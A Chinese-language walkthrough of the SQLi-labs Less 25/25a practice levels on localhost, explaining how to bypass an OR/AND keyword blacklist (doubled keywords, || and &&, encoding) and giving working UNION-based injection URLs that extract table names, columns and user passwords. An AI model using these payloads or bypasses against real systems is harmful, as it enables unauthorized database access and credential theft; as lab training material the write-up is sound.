Less 25
基于错误_GET_过滤OR/AND_单引号_字符型注入
界面很带感,huh?
刚进就有报错,下面那个未定义的 hint
会在GET
了id
后消失。
0x01. 判断注入类型
http://localhost:8088/sqlilabs/Less-25/?id=1'
可以看出是单引号闭合的查询,为了截图方便暂时把图片文件注释掉了。
下面还友情地把过滤后的内容显示出来了。
0x02. 过滤绕过
有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:
若是一次性的,且只是将过滤字符换成了空字符:
- 双写——
or
=oorr
、and
=anandd
若是非一次性的,就要考虑一些变形:
- 大小写变形——
or
=Or
=oR
=OR
- 利用运算符——
or
=||
、and
=&&
- URL编码——
#
=%23
,Hex编码——~
=0x7e
- 添加注释——
/*or*/
0x03. 注入过程
$id = blacklist($id);
$hint = $id;
function blacklist($id)
{
$id = preg_replace('/or/i',"",$id); //strip out OR (non case sensitive)
$id = preg_replace('/and/i',"",$id); //Strip out AND (non case sensitive)
return $id;
}
本关卡是一次性绕过,所以双写或运算符绕过都可以做到。
这里的正则匹配//i
同时匹配大小写,所以不能用大小写绕过。
步骤1:数据库名
http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,user(),database()--+
步骤2:表名
http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3--+
这里information
中的or
也被注释了哈哈哈。
步骤3:字段名
http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3--+
步骤4:数据
http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3--+
password
中的or
也未能幸免。
0x04. 吐槽
一般来说,过滤不会那么严格重复很多次,毕竟正常单词中也可能会含有被过滤的字符。
Less 25a
基于Bool_GET_过滤AND/OR_数字型_盲注*
0x01. 注入方式与回显对比(Review)
GET
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
9 | Time型盲注 | 固定字符串 | 同一固定字符串 |
POST
Less | 注入方法 | 成功回显 | 失败回显 | 错误回显 |
---|---|---|---|---|
11 | 基于错误注入 | 用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
13 | 双注入 | 无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
15 | Bool/Time型盲注 | 无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
注意:GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
其实这关严格来说算不上盲注,只是无错误回显,正确回显还是能显示的。
而之前如 Less 1 等GET
关无Warning
是因为用了函数error_reporting(0)
,关闭了错误报告。
所以这关既可以正常union
注入也可以用脚本Bool
或Time
盲注。
0x02. 注入过程
从1
正常回显,1'
、1"
都报错,判断为数字型注入,其他注入过程同 Less 25。